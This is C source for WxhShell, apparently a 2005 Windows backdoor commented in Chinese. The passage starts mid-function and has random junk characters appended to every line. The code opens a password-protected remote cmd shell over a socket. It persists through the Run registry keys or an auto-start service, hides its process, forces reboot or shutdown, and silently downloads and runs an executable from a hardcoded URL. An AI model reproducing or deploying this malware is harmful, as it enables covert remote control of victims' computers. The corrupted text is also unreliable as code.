    closesocket(wsh); oOy@X =cw  
    ExitThread(0); J)Dw`=O0n  
    } 2f]:n  
    break; EMU~gwPR  
    } 3!`Pv ?|o  
  // 获取shell &_HSrU  
  case 's': { W}EI gVHs  
    CmdShell(wsh); r.** z j  
    closesocket(wsh); UTc$zc7  
    ExitThread(0); ca*USM  
    break; 4JKB6~Y  
  } Vj_(55WQ  
  // 退出 Qf0$Z.-  
  case 'x': { w~afQA>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k{Vc5F  
    CloseIt(wsh); `0 uKJF g  
    break; z{bMW^F  
    } ]|<PV5SY3.  
  // 离开 Bs =V-0  
  case 'q': { m=Y9sB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c!T^JZBb  
    closesocket(wsh); HWT0oh]  
    WSACleanup(); ^*"&e\+p  
    exit(1); M7/P&d  
    break; p%+ 0^]v1  
        } "zc@(OA[z  
  } YN_#x  
  } RQWVjF#  
t }7hD  
  // 提示信息 PwQW5,,h0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q<o*rcwf ^  
} " E72j.  
  } vnMt>]w-}  
oD4NQR  
  return; [@U8&W  
} F8Z<JcOI  
jy(,^B,]  
// shell模块句柄 U2 <*BRJ  
int CmdShell(SOCKET sock) `* "u"7e  
{ Yd~K\tX :n  
STARTUPINFO si; 25BW/23}e  
ZeroMemory(&si,sizeof(si)); ^_9 ^iL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bI TOA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #HWz.Wb  
PROCESS_INFORMATION ProcessInfo; R[LVx-e7'  
char cmdline[]="cmd"; w(8q qU+\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1 >jG*tr  
  return 0; q@F"fjWBr  
} Jy@cMq2  
YN?@ S  
// 自身启动模式 L!V`Sb  
int StartFromService(void) 3H%R`ha  
{ jWLZ!a3+  
typedef struct Bwjd/id q  
{ qF`;xa%,}  
  DWORD ExitStatus; ~"\sL;B  
  DWORD PebBaseAddress; 0a QtJ0e16  
  DWORD AffinityMask; 4A^hP![c#]  
  DWORD BasePriority; `IOp*8  
  ULONG UniqueProcessId; $_k'!/5  
  ULONG InheritedFromUniqueProcessId; ;38W41d{  
}   PROCESS_BASIC_INFORMATION; N#@xo)-H  
KSIH1E  
PROCNTQSIP NtQueryInformationProcess; 9Re605x Q6  
OHssUt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Xx[ L K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L Tp5T|O  
<4bv=++pS  
  HANDLE             hProcess; K~<pD:s  
  PROCESS_BASIC_INFORMATION pbi; 1B'i7  
GsqR8n=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vVc:[i  
  if(NULL == hInst ) return 0; Z{+h~?63  
Y:&1;`FBZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jec03wH_0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]/p0j$Tq$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M$1+,[^f  
}U7>_b2  
  if (!NtQueryInformationProcess) return 0; qnW5I_]  
l<PGUm:_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1@yXVD/  
  if(!hProcess) return 0; h#zx^F1  
EAF<PMb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TSdjX]Kf  
daWmF  
  CloseHandle(hProcess); >4ebvM 0|  
75K~ebRr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vm'ReH  
if(hProcess==NULL) return 0; ~ i1w,;(  
Q&(?D  
HMODULE hMod; %83PbH  
char procName[255]; u9:;ft{}N  
unsigned long cbNeeded; [A|W0  
<E$P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o%h\55S  
B5#a 4G.  
  CloseHandle(hProcess); UL; d H  
@_Aqk{3  
if(strstr(procName,"services")) return 1; // 以服务启动 ^4Tr @g#]"  
.Y_RI&B!L  
  return 0; // 注册表启动 tH 5f;mY,  
} \@pl:Os  
00U8<~u  
// 主模块 Xa*52Q`_  
int StartWxhshell(LPSTR lpCmdLine) T=VVK6Lc:  
{ )jR:\fe  
  SOCKET wsl; vMzR3@4e  
BOOL val=TRUE; p!' "hx  
  int port=0; I-kM~q_  
  struct sockaddr_in door; U'";  
6TfL|W<  
  if(wscfg.ws_autoins) Install(); jt"p Js'  
eWqJ2Tt  
port=atoi(lpCmdLine); bsM`C]h&  
Br]VCp   
if(port<=0) port=wscfg.ws_port; X_ H R$il  
hz Vpv,|G  
  WSADATA data; PHDKx+$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s[nOB0  
1:My8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cIl^5eE^Pq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `!qWHm6I*  
  door.sin_family = AF_INET; ?-#w [J'6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j0 =`Jf  
  door.sin_port = htons(port); wa<@bub  
> m}.}g8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #$jAGt3^BT  
closesocket(wsl); [+{ ot   
return 1; |xQj2?_z*  
} {aGQ[MH\9  
1uB}Oe 2~  
  if(listen(wsl,2) == INVALID_SOCKET) { Zdh4CNEeFP  
closesocket(wsl); kC|tv{g#>  
return 1; xw%?R=&L  
} yu#Jw  
  Wxhshell(wsl); .Yha(5(  
  WSACleanup(); feNr!/  
6 Y&OG>_\  
return 0; '  AeU  
n9bX[+#d  
} ji A$6dZU  
3WPMS/  
// 以NT服务方式启动 VxjHB?)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &9o @x]) @  
{ AKa{C f  
DWORD   status = 0; #A:I|Q1$g  
  DWORD   specificError = 0xfffffff; xd(AUl4qY  
k]R O=/ ?M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L4Nk+R;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ><\mt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]P(Eo|)m  
  serviceStatus.dwWin32ExitCode     = 0; 4LBjqv,P  
  serviceStatus.dwServiceSpecificExitCode = 0; vm8QKPy  
  serviceStatus.dwCheckPoint       = 0; >GT0 x  
  serviceStatus.dwWaitHint       = 0; 0R_ZP12  
OMKEn!Wq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); px4Z  
  if (hServiceStatusHandle==0) return; K/MIDH  
nn#A-x}~;b  
status = GetLastError(); 5U1@wfKE3>  
  if (status!=NO_ERROR) ,e.y4 vnU  
{ N:L<ySJ7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xBB:b\  
    serviceStatus.dwCheckPoint       = 0; WpTC,~-  
    serviceStatus.dwWaitHint       = 0; %*|XN*iXC  
    serviceStatus.dwWin32ExitCode     = status; yc%AkhX*  
    serviceStatus.dwServiceSpecificExitCode = specificError; gP/]05$e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IFG`  
    return; *ZN"+ wf\  
  } E_ mgYW*5  
CXUNdB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *ArzXhs[  
  serviceStatus.dwCheckPoint       = 0; jy&p_v1  
  serviceStatus.dwWaitHint       = 0; Fi7pq2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,{'~J @  
} ^4s#nf:}  
?[XH`c,  
// 处理NT服务事件,比如:启动、停止 v]VIUVd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /&kZ)XOi  
{ (6 0,0|s  
switch(fdwControl) BAm{Gb  
{ &]#D`u  
case SERVICE_CONTROL_STOP: T+sO(;  
  serviceStatus.dwWin32ExitCode = 0; tQ`tHe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v`wPdb  
  serviceStatus.dwCheckPoint   = 0;  .':SD{  
  serviceStatus.dwWaitHint     = 0; _9L2JN$R6  
  { :&_@U$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xj !0jF33  
  } CuuHRvU8  
  return; <&H.pN1_  
case SERVICE_CONTROL_PAUSE: cG"jrQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "G`)x+<~Z8  
  break; vtL)  
case SERVICE_CONTROL_CONTINUE: )}paQmy#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >Pv%E  
  break; dZnq 96<:|  
case SERVICE_CONTROL_INTERROGATE: N.&)22<m9  
  break; q/4PX  
}; ^~(bm$4r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =FwFqjvl  
} .Ta$@sPh}  
zaoZCyJT%  
// 标准应用程序主函数 [f O]oTh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W >B:W0A  
{ =q6yb@  
|W#^L`!G  
// 获取操作系统版本 {?5EOp~  
OsIsNt=GetOsVer(); BJW;A>@Pj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T \0e8"iZ  
ENqJ9%sk7  
  // 从命令行安装 f3yZx!K_Br  
  if(strpbrk(lpCmdLine,"iI")) Install(); {{2ZWK 6|  
A`OU} 'v?L  
  // 下载执行文件 Dhef|E<  
if(wscfg.ws_downexe) { #}k^g:l1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >aa-ix &  
  WinExec(wscfg.ws_filenam,SW_HIDE); [$] JvF  
} C #TS  
N k^#Sa?  
if(!OsIsNt) { u!g<y  
// 如果时win9x,隐藏进程并且设置为注册表启动 VK$+Nm)  
HideProc(); N:&^ql4  
StartWxhshell(lpCmdLine); *B3` #t  
} 2RM0ca _F  
else +j`*?pPD(.  
  if(StartFromService()) A>d*<#x  
  // 以服务方式启动 NINyg"g<  
  StartServiceCtrlDispatcher(DispatchTable); I}?fy\1A&  
else  p&ZD1qa  
  // 普通方式启动 M ?F({#]  
  StartWxhshell(lpCmdLine); T_\GvSOI  
T}4RlIZF  
return 0; nnr(\r~  
} C:P,q6  
\ u5%+GA-:  
}1(F~6RH  
L\n_q6n  
=========================================== 6.K)uQgjmv  
a&y%|Gs^f  
RJd55+h  
[kC-g @  
y;Dw%m  
tSQ>P -O  
" ?rr%uXQjH  
E@[`y:P  
#include <stdio.h> @-u/('vpB  
#include <string.h> K3\U'bRO  
#include <windows.h> L*L3;y|  
#include <winsock2.h> uFECfh  
#include <winsvc.h> 6'*?zZrz  
#include <urlmon.h> k6*2= xK~  
Ng;E]2"  
#pragma comment (lib, "Ws2_32.lib") W%Ky#!\-  
#pragma comment (lib, "urlmon.lib") .;$/nz6vk  
j_ :4_zdBy  
#define MAX_USER   100 // 最大客户端连接数 Iy`Zh@"~  
#define BUF_SOCK   200 // sock buffer 3YRhqp"E  
#define KEY_BUFF   255 // 输入 buffer se(_`a/4Q  
=\_MJ?A$  
#define REBOOT     0   // 重启 G]5'U"cj3  
#define SHUTDOWN   1   // 关机 U24?+/5D]  
xT=|Uc0  
#define DEF_PORT   5000 // 监听端口 w3yI;P  
[g<6i.<I  
#define REG_LEN     16   // 注册表键长度 0~^opNR  
#define SVC_LEN     80   // NT服务名长度 vw+ @'+  
*[_?4*F  
// 从dll定义API k*lrE4::a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); odj|" ZK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _>&zhw2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3:);vh!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^WM)UZEBC  
% ]  
// wxhshell配置信息  8tPq5i  
struct WSCFG { Q=w\)qJ  
  int ws_port;         // 监听端口 x{&Z|D_CM  
  char ws_passstr[REG_LEN]; // 口令 .eJ4F-V  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vh'H5v^  
  char ws_regname[REG_LEN]; // 注册表键名 +hK Qha!*  
  char ws_svcname[REG_LEN]; // 服务名 +B*ygv:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WvN5IHo 8i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WKmGw^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oIbd+6>f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PVV\@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i' N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z!t &zkAK  
##yi^;3Y  
}; t5e%"}>7H  
XlB`Z81j  
// default Wxhshell configuration kGX`y.-[  
struct WSCFG wscfg={DEF_PORT, KVqQOh'_T  
    "xuhuanlingzhe", Xt9?7J#\T  
    1, %.[GR  
    "Wxhshell", >dZ x+7  
    "Wxhshell", K3 "co1]u  
            "WxhShell Service", n_?<q{GW  
    "Wrsky Windows CmdShell Service", Po=)jkW  
    "Please Input Your Password: ", 0y|}}92:  
  1, Vk>aU3\c  
  "http://www.wrsky.com/wxhshell.exe", kqv>rA3  
  "Wxhshell.exe" *crpM3fO>  
    }; 30[?XVI&  
H VG'v>s@  
// 消息定义模块 KqaeRs.u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aoMQ_@0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b6oPnP_3P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v,1.n{!;  
char *msg_ws_ext="\n\rExit."; 8a e]tX5$  
char *msg_ws_end="\n\rQuit."; q6/ o.j   
char *msg_ws_boot="\n\rReboot..."; }^P(p?~  
char *msg_ws_poff="\n\rShutdown..."; -Z]?v3 9  
char *msg_ws_down="\n\rSave to "; sa*]q~ a  
"S)4Cjk  
char *msg_ws_err="\n\rErr!"; RQ9T<t42  
char *msg_ws_ok="\n\rOK!"; 9k2HP]8=[{  
<[[DS%(M^  
char ExeFile[MAX_PATH]; &~^"yo#b  
int nUser = 0; bg[q8IBCd  
HANDLE handles[MAX_USER]; R}Z"Y xx  
int OsIsNt; g24)GjDi  
fl+ [(x<  
SERVICE_STATUS       serviceStatus; C6O1ype  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _vvnxG!x&  
h^34{pKDn  
// 函数声明 hRGK W  
int Install(void); c9i CH~  
int Uninstall(void); #). om*Xh  
int DownloadFile(char *sURL, SOCKET wsh); /3rt]h"  
int Boot(int flag); 3}n=od=  
void HideProc(void); WynHcxC  
int GetOsVer(void); ;c<:"ad(  
int Wxhshell(SOCKET wsl); JTl 37j  
void TalkWithClient(void *cs); ,Ea.ts>  
int CmdShell(SOCKET sock); 0qZ{:}`3  
int StartFromService(void); t'0r4&\  
int StartWxhshell(LPSTR lpCmdLine); U}7$:hO"dX  
ma?569Z8~0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pk(<],0]X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g :e|  
ZK3?"|vhC  
// 数据结构和表定义 ~"brfjd|  
SERVICE_TABLE_ENTRY DispatchTable[] = h Sr#/dw&  
{ p;BdzV>  
{wscfg.ws_svcname, NTServiceMain}, 4$d|}ajH  
{NULL, NULL} d/Fjs0pt  
}; `;5UlkVZ5  
az0( 54M  
// 自我安装 !tHqF  
int Install(void) 18V*Cu  
{ esbxx##\  
  char svExeFile[MAX_PATH]; +JBhw4et;.  
  HKEY key; 0O"GI33Mg  
  strcpy(svExeFile,ExeFile); Yy>%dL  
EmG`ga)s  
// 如果是win9x系统,修改注册表设为自启动 pShSK Rg  
if(!OsIsNt) { Rm)vY}v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [$9sr=3:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XC0G5rtB  
  RegCloseKey(key); 09%q/-$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "op1xto  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bHWy9-  
  RegCloseKey(key); <w.V!"!  
  return 0; &g.w~KWa  
    } QH~/UnV  
  } ?2_u/x  
} VXR.2C  
else { SX/yY  
-(Taj[;[  
// 如果是NT以上系统,安装为系统服务 xgsD<3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tN";o\!}  
if (schSCManager!=0) hH )jX`Ta  
{ RZm5[n  
  SC_HANDLE schService = CreateService 6~;fj+S  
  ( zUIh8cAoE  
  schSCManager, wL5IAkq  
  wscfg.ws_svcname, ;QREwT~H  
  wscfg.ws_svcdisp, J>] ' {!+  
  SERVICE_ALL_ACCESS, 5j{o0&=_$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E' JVf%)  
  SERVICE_AUTO_START, Ai(M06P:h  
  SERVICE_ERROR_NORMAL, vlp]!7v  
  svExeFile, !*?&V3!  
  NULL, (RWZ [-;)  
  NULL, L>xcgV7  
  NULL, Uu>YE0/)  
  NULL, ( F0.lDZ  
  NULL nU)}!` E  
  ); `lN1u'(:  
  if (schService!=0) Ud`V"X  
  { :4]&R9J>o  
  CloseServiceHandle(schService); g^}X3NUn  
  CloseServiceHandle(schSCManager); *z` {$hc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~k|~Q\   
  strcat(svExeFile,wscfg.ws_svcname); dH#S69>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mZ ONxR6q$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K)l{3\9l|  
  RegCloseKey(key); " *kWM  
  return 0; Vy16Co  
    } qECc[)B  
  } onG,N1`+  
  CloseServiceHandle(schSCManager); *G'zES0x  
} @T?:[nPf&F  
} R 4E0avt  
.<rL2`C[c  
return 1; kOFEH!9&  
} _+z@Qn?#6h  
$J=9$.4"  
// 自我卸载 = fuF]yL%  
int Uninstall(void) 7s<v06Wo  
{ f!xIMIl)+  
  HKEY key; 1PjSa4  
zu*0uL  
if(!OsIsNt) { AG/nX?u7)t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q(oWaG  
  RegDeleteValue(key,wscfg.ws_regname); [-s0'z  
  RegCloseKey(key); rTDx|pvYx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &zb_8y,  
  RegDeleteValue(key,wscfg.ws_regname); +_ K7x5g  
  RegCloseKey(key); F{bET  
  return 0; ,#gA(B#  
  } &,{cm^*  
} ZKAIG=l&!  
} q fadsVp  
else { at6f(+  
}1N)3~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IDdhBdQ  
if (schSCManager!=0) EOVHTDkKf  
{ .6(Bf$E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?n?Ep[D  
  if (schService!=0) l OI(+74  
  { 8 x|NR?  
  if(DeleteService(schService)!=0) { Vnv<]D zC  
  CloseServiceHandle(schService); p9oru0q  
  CloseServiceHandle(schSCManager); e9k}n\t3  
  return 0; 2ZNTg@o  
  } 0 (@8   
  CloseServiceHandle(schService); MfCu\[qOz  
  } [<`xAh_,  
  CloseServiceHandle(schSCManager); v;?t=}NwF  
} 4LUFG  
} pjIXZ=  
 6.KR(V  
return 1; /D 2v 1  
} YOP=gvZq  
i. `S0  
// 从指定url下载文件 N@?Fpmu/k  
int DownloadFile(char *sURL, SOCKET wsh) `"A\8)6-  
{ ]Ny.  gu  
  HRESULT hr; Zo-s_6uC  
char seps[]= "/"; e,`+6qP{  
char *token; L7q%u.nB1  
char *file;  6>Lr  
char myURL[MAX_PATH]; c}g^wLa  
char myFILE[MAX_PATH]; g2:^Z==  
hb_YdnG  
strcpy(myURL,sURL); G80d!*7  
  token=strtok(myURL,seps); Ax=Rb B"  
  while(token!=NULL) !Lk|eGd*  
  { DE."XSni  
    file=token; M!!W>A@T[g  
  token=strtok(NULL,seps); DH)@8)C  
  } niqiDT/  
D-E30b]e  
GetCurrentDirectory(MAX_PATH,myFILE); _2}i8q:  
strcat(myFILE, "\\"); &wK%p/?  
strcat(myFILE, file); C Ij3D"  
  send(wsh,myFILE,strlen(myFILE),0); 1 /7H` O?  
send(wsh,"...",3,0); )Qp?N<&'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;gK+AU  
  if(hr==S_OK) 224I%x.,  
return 0; /3'-+bp^=  
else `)1_^# k  
return 1; ZfL\3Mn  
<CzH'!FJN  
} RfEmkb<9Z  
=NH:/j^  
// 系统电源模块 >[O @u4  
int Boot(int flag) sW3-JA]  
{ +\\,FO_  
  HANDLE hToken; [=S@lURzm@  
  TOKEN_PRIVILEGES tkp; o-GlBXI;  
?P0$n 7,  
  if(OsIsNt) { + [|2k(U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pWwaN4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h1FM)n[E7  
    tkp.PrivilegeCount = 1; ~O 65=8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6$ 9n_AS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oizD:|  
if(flag==REBOOT) { )/Ee#)z*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "Z&{  
  return 0; fC&Egy  
} PG&@.KY  
else { y9pQ1H<F;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /".+OpL  
  return 0; 4F)z-<-b  
} .!l#z|/x  
  } \_De( p  
  else { #wk'&XsC#z  
if(flag==REBOOT) { Z +(V'e;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "_}Hzpy5k  
  return 0; ~Pv4X2MO  
} j'X]bd'  
else { \&Mipf7a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1EyM,$On  
  return 0; #-f7hg*  
} TPvS+_<oL{  
} h=EJNz>U  
?VCb@&*  
return 1; ]Tx8ImD#)A  
} R1{ "  
sn}U4=u  
// win9x进程隐藏模块 -KCm#!  
void HideProc(void) bo0m/hVU  
{ j42U|CuK  
) e;)9~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z,X ^;  
  if ( hKernel != NULL ) ^ :6v- Yx  
  { Yvs9)g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N6Vn/7I5%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6AUXYbK,  
    FreeLibrary(hKernel); XB50>??NE  
  } iVFHr<zk  
o'D{ql  
return; ,*bI0mFZ  
} [ 3]!*Cd  
(SkI9[1\@3  
// 获取操作系统版本 *G.6\  
int GetOsVer(void) g(;t,Vy,I  
{ zYbSv~)  
  OSVERSIONINFO winfo; K0g<11}(Yg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y4C_G?  
  GetVersionEx(&winfo); =zK7`5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NMJ230?  
  return 1; j_o6+R k  
  else 0^? 3hK  
  return 0; '<^%> R2  
} \T/~" w  
9V0iV5?(P  
// 客户端句柄模块 >C*q  
int Wxhshell(SOCKET wsl) 1WfN_JKB5  
{ Y6?d y\  
  SOCKET wsh; <fJoHS  
  struct sockaddr_in client; 6HCP1`gg   
  DWORD myID; q\x*@KQgM  
"qu%$L  
  while(nUser<MAX_USER) : N>5{  
{ ;v[F@O~*)  
  int nSize=sizeof(client); TMhUo#`I|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E;@` { v  
  if(wsh==INVALID_SOCKET) return 1; yLW iY~Fd  
Y@Lv>p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BikmAa  
if(handles[nUser]==0) 6*A S4l  
  closesocket(wsh); "c\ZUx_i6  
else !BIq>pO%Ui  
  nUser++; F7E #x  
  } ";J1$a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7;dV]N  
{[m %1O1  
  return 0; 94 H\,}i 8  
} JY"<b6C^  
#c5G"^)z  
// 关闭 socket NFDi2L>Ba  
void CloseIt(SOCKET wsh) Y`uL4)hR5  
{ A%Pjg1(uX  
closesocket(wsh); vnw83a%3  
nUser--; `$JPF  Z  
ExitThread(0); ((SN We  
} 2~<?E`+  
LR@rn2Z  
// 客户端请求句柄 -|~6Zf"  
void TalkWithClient(void *cs) DDwH9*  
{ 4l@*x^F  
G[)Ll=  
  SOCKET wsh=(SOCKET)cs; Ep|W>  
  char pwd[SVC_LEN]; aW$sd)  
  char cmd[KEY_BUFF]; a<kx95  
char chr[1]; a-MDZT<xA+  
int i,j; 5)wz`OS  
razVO]]E  
  while (nUser < MAX_USER) { ?dl7!I@<E<  
iN %kF'&9  
if(wscfg.ws_passstr) { ~gNa<tg"1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @{+c6.*}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s_N?Y)lS+(  
  //ZeroMemory(pwd,KEY_BUFF); 6 wYd)MDLL  
      i=0; lM3UjR|@  
  while(i<SVC_LEN) { n-be8p)-  
*r6+Vz  
  // 设置超时 puV(eG  
  fd_set FdRead; ytf.$P  
  struct timeval TimeOut; uLD%M av  
  FD_ZERO(&FdRead); U]riBlg>  
  FD_SET(wsh,&FdRead); _8vq]|rC  
  TimeOut.tv_sec=8; Du k v[/60  
  TimeOut.tv_usec=0; $z"3_4a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h\Ck""&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U;<07 aMj  
ow,I|A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ypM0}pdvTp  
  pwd=chr[0]; 6J9^:gXW~  
  if(chr[0]==0xd || chr[0]==0xa) { ~e~iCyW;S  
  pwd=0; 2%y}El^+_  
  break; 3K c  
  } R *lJe6  
  i++; nsQx\Tnhx  
    } .>%(bH8S  
J+r\EN^9  
  // 如果是非法用户,关闭 socket hg_@Ui@[z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PE4#dx^  
} W-ErzX  
Tp2`eY5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )EZ#BF<0|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h W\q  
H(GWC[tv  
while(1) { X-%XZD B6  
7SOi9JU_  
  ZeroMemory(cmd,KEY_BUFF); N=]2vyh  
xPoI+,  
      // 自动支持客户端 telnet标准   7t &KKKV  
  j=0; 99j^<)  
  while(j<KEY_BUFF) { zRSIJ!A~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %g1:yx  
  cmd[j]=chr[0]; 't'~p#$,F  
  if(chr[0]==0xa || chr[0]==0xd) { D|lp3\`%  
  cmd[j]=0; |giV<Sj  
  break; $a|C/s+}7>  
  } LxaR1E(Cc'  
  j++; b2]1Dfw  
    } 2MaHD}1Jw  
j#mo Vq  
  // 下载文件 7<;87t]]  
  if(strstr(cmd,"http://")) { <RH2G   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); / qp)n">  
  if(DownloadFile(cmd,wsh)) nA$zp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ;Bgtv$  
  else &Jw]3U5J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fR[kjwX)<1  
  } O]&DDzo  
  else { g*t(%;_m  
iv@ey-,<  
    switch(cmd[0]) { OtK=UtVI  
  >(nb8T|  
  // 帮助 S-@E  
  case '?': { >Wvb!8N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 91Bl{  
    break; O%feBe  
  } LA?h+)  
